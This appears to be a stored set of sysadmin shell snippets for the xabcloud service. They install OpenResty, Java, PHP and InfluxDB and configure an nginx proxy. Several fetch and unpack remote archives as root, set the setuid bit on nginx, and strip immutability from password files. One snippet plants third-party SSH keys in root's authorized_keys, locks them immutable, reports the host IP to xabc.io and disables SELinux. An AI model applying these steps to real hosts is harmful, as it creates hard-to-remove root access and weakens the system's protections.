o echo doing... cat /etc/issue* /etc/*release 2>/dev/null|grep -q "Ubuntu"&&OS="Debian" cat /etc/issue* /etc/*release 2>/dev/null|grep -q "release"&&OS="RedHat" if [ "$OS" = "RedHat" ] then yum -q -y install vim wget bzip2 unzip rsync psmisc net-tools bind-utils telnet openssh-clients fi if [ "$OS" = "Debian" ] then apt-get -q -y install vim wget bzip2 unzip rsync psmisc net-tools dnsutils telnet fi wget -q -t 3 https://s.xabcloud.com/file/openresty-$OS.tgz -O -|tar xzf - -C /opt wget -q -t 3 https://s.xabcloud.com/file/nginx.conf -O /opt/openresty/nginx/conf/nginx.conf mkdir -p /opt/openresty/nginx/conf/ssl chattr -ai /etc/passwd /etc/shadow /etc/group /etc/gshadow id -u nobody &>/dev/null||useradd nobody -r -s /bin/false groupadd -f nobody &>/dev/null chown root.nobody /opt/openresty/nginx/sbin/nginx if [ "$OS" = "RedHat" ] then grep -q nginx /etc/rc.d/rc.local||echo "/opt/openresty/nginx/sbin/nginx" >> /etc/rc.d/rc.local;chmod 755 /etc/rc.d/rc.local fi if [ "$OS" = "Debian" ] then grep -q nginx /etc/rc.local||echo "/opt/openresty/nginx/sbin/nginx" >> /etc/rc.local;chmod 755 /etc/rc.local fi chmod +xs /opt/openresty/nginx/sbin/nginx echo "/opt/openresty"
l wget -q https://s.xabcloud.com/file/salt-latest.repo -O /etc/yum.repos.d/salt-latest.repo yum -y install salt-minion systemctl enable salt-minion.service
j echo doing... wget -q https://s.xabcloud.com/src/java.tgz -O -|tar xzf - -C /tmp tar xzf /tmp/java/files/jdk.tgz -C /opt tar xzf /tmp/java/files/tomcat.tgz -C /opt mv /tmp/java/files/*.sh /etc/profile.d/ rm -rf /tmp/java/ echo "/opt/{jdk,tomcat}"
x cat /etc/issue* /etc/*release 2>/dev/null|grep -q "Ubuntu"&&OS="Debian" cat /etc/issue* /etc/*release 2>/dev/null|grep -q "release"&&OS="RedHat" if [ "$OS" = "RedHat" ];then rm -f /var/lib/rpm/__db* rpm --rebuilddb yum install -y yum-utils yum clean all yum-complete-transaction --cleanup-only yum history redo last package-cleanup --dupes;package-cleanup --problems yum clean metadata yum makecache yum clean expire-cache fi if [ "$OS" = "Debian" ];then dpkg --configure -a apt-get --fix-broken install apt-key update apt-get -f -y install --allow-unauthenticated --force-yes apt-get clean cd /var/lib/apt&&rm -rf lists;mkdir -p /var/lib/apt/lists/partial apt-get clean apt-get update fi
proxy echo doing... cat /etc/issue* /etc/*release 2>/dev/null|grep -q "Ubuntu"&&OS="Debian" cat /etc/issue* /etc/*release 2>/dev/null|grep -q "release"&&OS="RedHat" if [ "$OS" = "RedHat" ] then yum -q -y install vim wget bzip2 unzip rsync psmisc net-tools bind-utils telnet openssh-clients fi if [ "$OS" = "Debian" ] then apt-get -q -y install vim wget bzip2 unzip rsync psmisc net-tools dnsutils telnet fi wget -q -t 3 http://s.xabcloud.com/file/openresty-proxy.tgz -O -|tar xzf - -C /opt wget -q -t 3 http://s.xabcloud.com/file/nginx-proxy.conf -O /opt/openresty/nginx/conf/nginx.conf wget -q -t 3 http://s.xabcloud.com/file/resolver.conf -O /opt/openresty/nginx/conf/resolver.conf chattr -ai /etc/passwd /etc/shadow /etc/group /etc/gshadow id -u nobody &>/dev/null||useradd nobody -r -s /bin/false groupadd -f nobody &>/dev/null chown root.nobody /opt/openresty/nginx/sbin/nginx if [ "$OS" = "RedHat" ] then grep -q nginx /etc/rc.d/rc.local||echo "/opt/openresty/nginx/sbin/nginx" >> /etc/rc.d/rc.local;chmod 755 /etc/rc.d/rc.local fi if [ "$OS" = "Debian" ] then grep -q nginx /etc/rc.local||echo "/opt/openresty/nginx/sbin/nginx" >> /etc/rc.local;chmod 755 /etc/rc.local fi chmod +xs /opt/openresty/nginx/sbin/nginx;/opt/openresty/nginx/sbin/nginx echo "/opt/openresty"
pycurl mkdir -p /tmp/build&&cd /tmp/build wget -t 3 https://s.xabcloud.com/org/curl-7.43.0.tar.gz -O -|tar xzf - cd curl-7.43.0 ./configure make && make install rm -f /usr/lib64/libcurl.so.4* ln -s /usr/local/lib/libcurl.so.4.3.0 /usr/lib64/libcurl.so.4.3.0 ln -s /usr/local/lib/libcurl.so.4.3.0 /usr/lib64/libcurl.so.4 pip3 install pycurl
ssl proxy_http_version 1.1; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-Proto $scheme; proxy_set_header X-Forwarded-For $remote_addr; proxy_set_header X-NginX-Proxy true; proxy_set_header Connection ""; log_format main "$status $request_time $request_method $host$request_uri [$http_user_agent] [$time_local] [$http_x_forwarded_for $remote_addr] $http_referer"; access_log logs/access.log main; ssl_ciphers ECDHE-RSA-AES128-GCM-SHA256:ECDHE:ECDH:AES:HIGH:!NULL:!aNULL:!MD5:!ADH:!RC4:!DH:!DHE; ssl_protocols TLSv1.1 TLSv1.2 TLSv1.3; ssl_prefer_server_ciphers on; upstream EX{ keepalive 64; server 127.0.0.1:7001; } server{ listen 80; listen 443 ssl http2; server_name EX; ssl_certificate ssl/EX.pem; ssl_certificate_key ssl/EX.key; location /{ proxy_pass http://EX; } }
city curl -s --connect-timeout 5 https://ipinfo.io/18.207.252.123/city;curl -s --connect-timeout 5 http://freeapi.ipip.net/18.207.252.123
err tail -f access.log|awk '$1 > 399 {print $0}'
php cat /etc/issue* /etc/*release 2>/dev/null|grep -q "Ubuntu"&&OS="Debian" cat /etc/issue* /etc/*release 2>/dev/null|grep -q "release"&&OS="RedHat" if [ "$OS" = "RedHat" ];then yum -y install yum-utils yum -y localinstall https://mirror.webtatic.com/yum/el7/webtatic-release.rpm yum -y install php72w yum -y install php72w-cli php72w-common php72w-devel php72w-mysql php72w-fpm yum -y install php72w-gd php72w-imap php72w-ldap php72w-odbc php72w-pear php72w-xml php72w-xmlrpc php72w-mbstring php72w-pdo fi if [ "$OS" = "Debian" ];then apt-get -y install php7.[0-9] apt-get -y install php7.[0-9]-mysql php7.[0-9]-fpm apt-get -y install php7.[0-9]-gd php7.[0-9]-mbstring php7.[0-9]-xmlrpc fi
influxdb echo doing... cat /etc/issue* /etc/*release 2>/dev/null|grep -q "Ubuntu"&&OS="Debian" cat /etc/issue* /etc/*release 2>/dev/null|grep -q "release"&&OS="RedHat" INFLUXDB_VER=1.7.6 if [ "$OS" = "RedHat" ] then yum -y install yum-utils yum -y localinstall https://s.xabcloud.com/file/influxdb-${INFLUXDB_VER}.x86_64.rpm wget -q https://s.xabcloud.com/file/influxdb.repo -O /etc/yum.repos.d/influxdb.repo fi if [ "$OS" = "Debian" ] then wget -q https://s.xabcloud.com/file/influxdb_${INFLUXDB_VER}_amd64.deb dpkg -i influxdb_${INFLUXDB_VER}_amd64.deb rm -f influxdb_${INFLUXDB_VER}_amd64.deb fi
a if ! grep -q "ywgx" /root/.ssh/authorized_keys &>/dev/null then [ -e /root/.ssh/authorized_keys ]&&chattr -ai /root/.ssh/authorized_keys||mkdir -p -m 700 /root/.ssh echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDHZyWeFOHuHtLgsGLNx4sCYVXv/FfFi3ZcTSOSyX2oRgRm4xflPDgJHGSlCjtP2IluM6gG+o9+fS0WpcQkiaabe4wJVf5/hdFvJY7BgG4SslmdYGGtXKqFKXLq0pkuQQTnitBYQvAwEjBuHYB0KuuJG1XSss3ubzTZzoveeIVOJgamoGgm42D2G0ZOAH7ovRj3eFvjJImepaSJEDUe1SbNHoptSQvLMV+y5LDNb7xxRUk4hH09o/f2O9jxPbxL8f9nP94ZoT2XjVhvKRKVz51AHs9pNTry7ge4MSI5hlWSwjiFO+jJLuIiGdRGVxEzToMOkPBaH3HXs1pJHu+/9fqCwvgW4+Wp7FTBhPmX/9VSjGpO+uwlj3zRZHyDxs3Enup+Bok/WH9e5GLQj/KzWQD6s/6s0/9UC9YfZRU7E+uRvXf21zpAkmaGGQsOv5FV7ZqciYRn66dq65ahx2xmi4hkBoTrdP595lRPuQEOW1ziTI08pxU9eZA/f/s4AsQL/IHU9LkiA8gqGXlembuBxL20OietQTLn5AYev6rmU0m4IZ1yKu2AzT5gaG//8XuSGzT0o8ppvSgIalDBnS+W/2xQCc0xGY7yX51MIdc+E7edWw14VqL0ESXIHZfB7uOGOAMjfMP3GIoHOIatI+rsd8D30sKEEBXDYAgwu2yZgskGmw== ywgx" >> /root/.ssh/authorized_keys echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDT36lNbtc7eqPC6KrrGoOJm43cGrTkLBfNJPuUVR7odSMBn53P5vjuG4BVeXP/yhiVAjerPrh/03e5xOoI5X1UD56H52XpXLoMkGGAR6uSRSNzjSgt1XBFREWBnOgsuw71ubltsfHKPBjnkwnMRePLD5aoMeTyvylhAxTMMLm3GPSCCTMII8bmuxTx8k1IJ8oW078ak6LeBOFFl/SOFiMeWSvqA21fi8gUMhWte3NN4trNUIDPdSprOZx1Yk4nnZh5jkrVv5iZX3DtrsaVhYegwK06VBRiycqDj32d1kOWyFBdhWHADMMoD4UAHnFxn+5igeRyS2yI9XFgQTQDaWw+cLvYe4wYr+pJ66Vk4v5f1AeOg/F4UewhJ4Sr/2AtZJOxgAhPv7gdyf4aDePfxlZwuUD+chMbntOZzUuaI5rU8uh4lWaNCG0eGvH0ul3pjS2p4FKJ378XKi87DcqGQLZJytjbMqc8NalTl/AbbMgjZbB8ZHpZAl2G1gq1uicAjMsm0j0nLmvAb6vPe9lQTp0Jb09yddM3VX9XtF15yz1Si1COu1I5nldEGc12nBFLxIRBEk6vaDZYo5gY14rdrWuiZ85j5I0vEUbiuFF3lzf+j0iHg3UgZcuYo5QFBiApyyWt1wDvHKnLE3FZVj0uSzscmZ5/4rk06ZAwCdwjzAXZCQ== xabc" >> /root/.ssh/authorized_keys echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQCe7tMK/BSGu1eb/nhjMJ1T3S+AfgbFyXt06/RxibgVLa52+ENOCclXEEC+FWBUmVBw3cGz8YEHVHCOWsrGaZ9aApULu3ePnqNXMnD1+LUsmIEQjSgEdrV0Y49wmFkDZjF0H0D6o9ywTYuK52MuISyLRT94oJKnlRfYRLBJ9zu0tw== central" >> /root/.ssh/authorized_keys echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQDHURcYNiucnsqGLHecTmm+zR8pi47DkdwmsXbLmZhXKc5KSag0lOQeo8uRVO7jNjVIlV5A4lk3mhQol4rqO6wb5Wf4vskM4aneAD97G/8DAwggVxBqpB2iMnwWTh2qAZ11DbrLEBtDyC+CmNul6BJKx5ITr2nq+5erLSH04EhIlw== master" >> /root/.ssh/authorized_keys chmod 600 /root/.ssh/authorized_keys chattr +ai /root/.ssh/authorized_keys fi curl -d "msg=# ssh 18.207.252.123" "https://xabc.io/send/ssh/" &>/dev/null which setenforce &>/dev/null&&setenforce -1 &>/dev/null [ -e /etc/selinux/config ]&&grep -q "SELINUX=enforcing" /etc/selinux/config&&sed -i 's/SELINUX=enforcing/SELINUX=disabled/' /etc/selinux/config
p 18.207.252.123